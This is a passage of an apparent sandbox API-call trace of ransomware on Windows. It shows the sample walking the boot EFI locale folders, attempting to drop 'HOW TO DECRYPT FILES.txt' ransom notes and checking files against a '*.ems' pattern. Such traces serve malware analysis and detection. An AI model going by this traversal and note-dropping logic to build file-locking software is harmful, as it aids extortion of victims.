files.txt")) returned 0xffffffff [0125.032] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\fr-FR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\fr-fr\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.033] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.033] CloseHandle (hObject=0xffffffff) returned 0 [0125.033] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\fr-FR\\", lpString2="bootmgr.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\fr-FR\\bootmgr.efi.mui") returned="C:\\Windows\\Boot\\EFI\\fr-FR\\bootmgr.efi.mui" [0125.033] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\fr-FR\\bootmgr.efi.mui", pszSpec="*.ems") returned 0 [0125.033] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea7ac3a8, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaed0518, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaed0518, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 0 [0125.033] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0125.033] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdec4946, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdec4946, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdec4946, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0125.033] lstrcmpA (lpString1=".", lpString2="hu-HU") returned -1 [0125.033] lstrcmpA (lpString1="..", lpString2="hu-HU") returned -1 [0125.033] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\*.*") returned="*.*" [0125.033] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\", lpString2="hu-HU" | out: lpString1="C:\\Windows\\Boot\\EFI\\hu-HU") returned="C:\\Windows\\Boot\\EFI\\hu-HU" [0125.034] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\EFI\\hu-HU\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdec4946, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdec4946, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdec4946, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.038] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.038] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdec4946, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdec4946, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdec4946, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.038] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.039] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.039] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe17a9c00, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe217b5fa, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x78486704, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1 [0125.039] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.039] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.039] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.039] lstrcmpiA (lpString1="", lpString2="bootmgfw.efi.mui") returned -1 [0125.039] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\hu-HU\\*.*") returned="*.*" [0125.039] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\hu-HU\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\hu-HU\\") returned="C:\\Windows\\Boot\\EFI\\hu-HU\\" [0125.039] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\hu-HU\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\hu-HU\\") returned="" [0125.039] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\hu-HU\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\hu-HU\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\hu-HU\\HOW TO DECRYPT FILES.txt" [0125.039] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\hu-HU\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\hu-hu\\how to decrypt files.txt")) returned 0xffffffff [0125.039] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\hu-HU\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\hu-hu\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.040] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.040] CloseHandle (hObject=0xffffffff) returned 0 [0125.040] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\hu-HU\\", lpString2="bootmgfw.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\hu-HU\\bootmgfw.efi.mui") returned="C:\\Windows\\Boot\\EFI\\hu-HU\\bootmgfw.efi.mui" [0125.040] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\hu-HU\\bootmgfw.efi.mui", pszSpec="*.ems") returned 0 [0125.040] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8502603, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe8c26773, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8c26773, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14600, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1 [0125.040] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.040] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.040] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.040] lstrcmpiA (lpString1="", lpString2="bootmgr.efi.mui") returned -1 [0125.040] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\hu-HU\\bootmgfw.efi.mui") returned="bootmgfw.efi.mui" [0125.040] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\hu-HU\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\hu-HU\\") returned="C:\\Windows\\Boot\\EFI\\hu-HU\\" [0125.041] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\hu-HU\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\hu-HU\\") returned="" [0125.041] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\hu-HU\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\hu-HU\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\hu-HU\\HOW TO DECRYPT FILES.txt" [0125.041] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\hu-HU\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\hu-hu\\how to decrypt files.txt")) returned 0xffffffff [0125.041] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\hu-HU\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\hu-hu\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.041] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.041] CloseHandle (hObject=0xffffffff) returned 0 [0125.041] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\hu-HU\\", lpString2="bootmgr.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\hu-HU\\bootmgr.efi.mui") returned="C:\\Windows\\Boot\\EFI\\hu-HU\\bootmgr.efi.mui" [0125.041] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\hu-HU\\bootmgr.efi.mui", pszSpec="*.ems") returned 0 [0125.042] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8502603, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe8c26773, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8c26773, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14600, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 0 [0125.042] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0125.042] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdec4946, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdeeaaa0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdeeaaa0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0125.042] lstrcmpA (lpString1=".", lpString2="it-IT") returned -1 [0125.042] lstrcmpA (lpString1="..", lpString2="it-IT") returned -1 [0125.042] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\*.*") returned="*.*" [0125.042] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\", lpString2="it-IT" | out: lpString1="C:\\Windows\\Boot\\EFI\\it-IT") returned="C:\\Windows\\Boot\\EFI\\it-IT" [0125.042] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\EFI\\it-IT\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdec4946, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdeeaaa0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdeeaaa0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.042] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.043] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdec4946, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdeeaaa0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdeeaaa0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.043] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.043] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.043] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4366cce, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4ab0f9b, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x7832fac8, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1 [0125.043] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.043] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.043] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.043] lstrcmpiA (lpString1="", lpString2="bootmgfw.efi.mui") returned -1 [0125.043] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\it-IT\\*.*") returned="*.*" [0125.043] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\it-IT\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\it-IT\\") returned="C:\\Windows\\Boot\\EFI\\it-IT\\" [0125.043] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\it-IT\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\it-IT\\") returned="" [0125.043] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\it-IT\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\it-IT\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\it-IT\\HOW TO DECRYPT FILES.txt" [0125.043] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\it-IT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\it-it\\how to decrypt files.txt")) returned 0xffffffff [0125.043] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\it-IT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\it-it\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.044] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.044] CloseHandle (hObject=0xffffffff) returned 0 [0125.044] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\it-IT\\", lpString2="bootmgfw.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\it-IT\\bootmgfw.efi.mui") returned="C:\\Windows\\Boot\\EFI\\it-IT\\bootmgfw.efi.mui" [0125.044] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\it-IT\\bootmgfw.efi.mui", pszSpec="*.ems") returned 0 [0125.044] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe985973d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9f57750, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9f7d8ad, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14600, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1 [0125.044] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.044] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.044] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.044] lstrcmpiA (lpString1="", lpString2="bootmgr.efi.mui") returned -1 [0125.044] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\it-IT\\bootmgfw.efi.mui") returned="bootmgfw.efi.mui" [0125.045] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\it-IT\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\it-IT\\") returned="C:\\Windows\\Boot\\EFI\\it-IT\\" [0125.045] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\it-IT\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\it-IT\\") returned="" [0125.045] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\it-IT\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\it-IT\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\it-IT\\HOW TO DECRYPT FILES.txt" [0125.045] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\it-IT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\it-it\\how to decrypt files.txt")) returned 0xffffffff [0125.045] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\it-IT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\it-it\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.045] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.045] CloseHandle (hObject=0xffffffff) returned 0 [0125.045] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\it-IT\\", lpString2="bootmgr.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\it-IT\\bootmgr.efi.mui") returned="C:\\Windows\\Boot\\EFI\\it-IT\\bootmgr.efi.mui" [0125.045] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\it-IT\\bootmgr.efi.mui", pszSpec="*.ems") returned 0 [0125.046] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe985973d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9f57750, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9f7d8ad, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14600, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 0 [0125.046] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0125.046] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf36d54, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdf36d54, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdf36d54, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0125.046] lstrcmpA (lpString1=".", lpString2="ja-JP") returned -1 [0125.046] lstrcmpA (lpString1="..", lpString2="ja-JP") returned -1 [0125.046] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\*.*") returned="*.*" [0125.046] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\", lpString2="ja-JP" | out: lpString1="C:\\Windows\\Boot\\EFI\\ja-JP") returned="C:\\Windows\\Boot\\EFI\\ja-JP" [0125.046] FindFirstFileA (in: lpFileName="C:\\Windows\\Boot\\EFI\\ja-JP\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf36d54, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdf36d54, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdf36d54, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0125.047] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.047] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf36d54, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdf36d54, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdf36d54, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.047] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.047] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.047] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9d4243a, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea41a2f0, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x78780234, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x12a50, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1 [0125.047] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.047] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.047] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgfw.efi.mui") returned 1 [0125.047] lstrcmpiA (lpString1="", lpString2="bootmgfw.efi.mui") returned -1 [0125.047] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\ja-JP\\*.*") returned="*.*" [0125.047] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\ja-JP\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\ja-JP\\") returned="C:\\Windows\\Boot\\EFI\\ja-JP\\" [0125.047] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\ja-JP\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\ja-JP\\") returned="" [0125.047] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\ja-JP\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Boot\\EFI\\ja-JP\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Boot\\EFI\\ja-JP\\HOW TO DECRYPT FILES.txt" [0125.047] GetFileAttributesA (lpFileName="C:\\Windows\\Boot\\EFI\\ja-JP\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\ja-jp\\how to decrypt files.txt")) returned 0xffffffff [0125.047] CreateFileA (lpFileName="C:\\Windows\\Boot\\EFI\\ja-JP\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\boot\\efi\\ja-jp\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.048] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.048] CloseHandle (hObject=0xffffffff) returned 0 [0125.048] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\ja-JP\\", lpString2="bootmgfw.efi.mui" | out: lpString1="C:\\Windows\\Boot\\EFI\\ja-JP\\bootmgfw.efi.mui") returned="C:\\Windows\\Boot\\EFI\\ja-JP\\bootmgfw.efi.mui" [0125.048] PathMatchSpecA (pszFile="C:\\Windows\\Boot\\EFI\\ja-JP\\bootmgfw.efi.mui", pszSpec="*.ems") returned 0 [0125.048] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8385861, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe8a83874, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8a83874, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1 [0125.048] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.048] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.048] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.efi.mui") returned 1 [0125.049] lstrcmpiA (lpString1="", lpString2="bootmgr.efi.mui") returned -1 [0125.049] PathFindFileNameA (pszPath="C:\\Windows\\Boot\\EFI\\ja-JP\\bootmgfw.efi.mui") returned="bootmgfw.efi.mui" [0125.049] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Boot\\EFI\\ja-JP\\" | out: lpString1="C:\\Windows\\Boot\\EFI\\ja-JP\\") returned="C:\\Windows\\Boot\\EFI\\ja-JP\\" [0125.049] PathAddBackslashA (in: pszPath="C:\\Windows\\Boot\\EFI\\ja-JP\\" | out: pszPath="C:\\Windows\\Boot\\EFI\\ja-JP\\") returned="" [0125.049] lstrcatA (in: lpString1="C:\\Windows\\Boot\\EFI\\ja-JP\\", lpString2="HOW TO DECRYPT FILES.txt" | out: 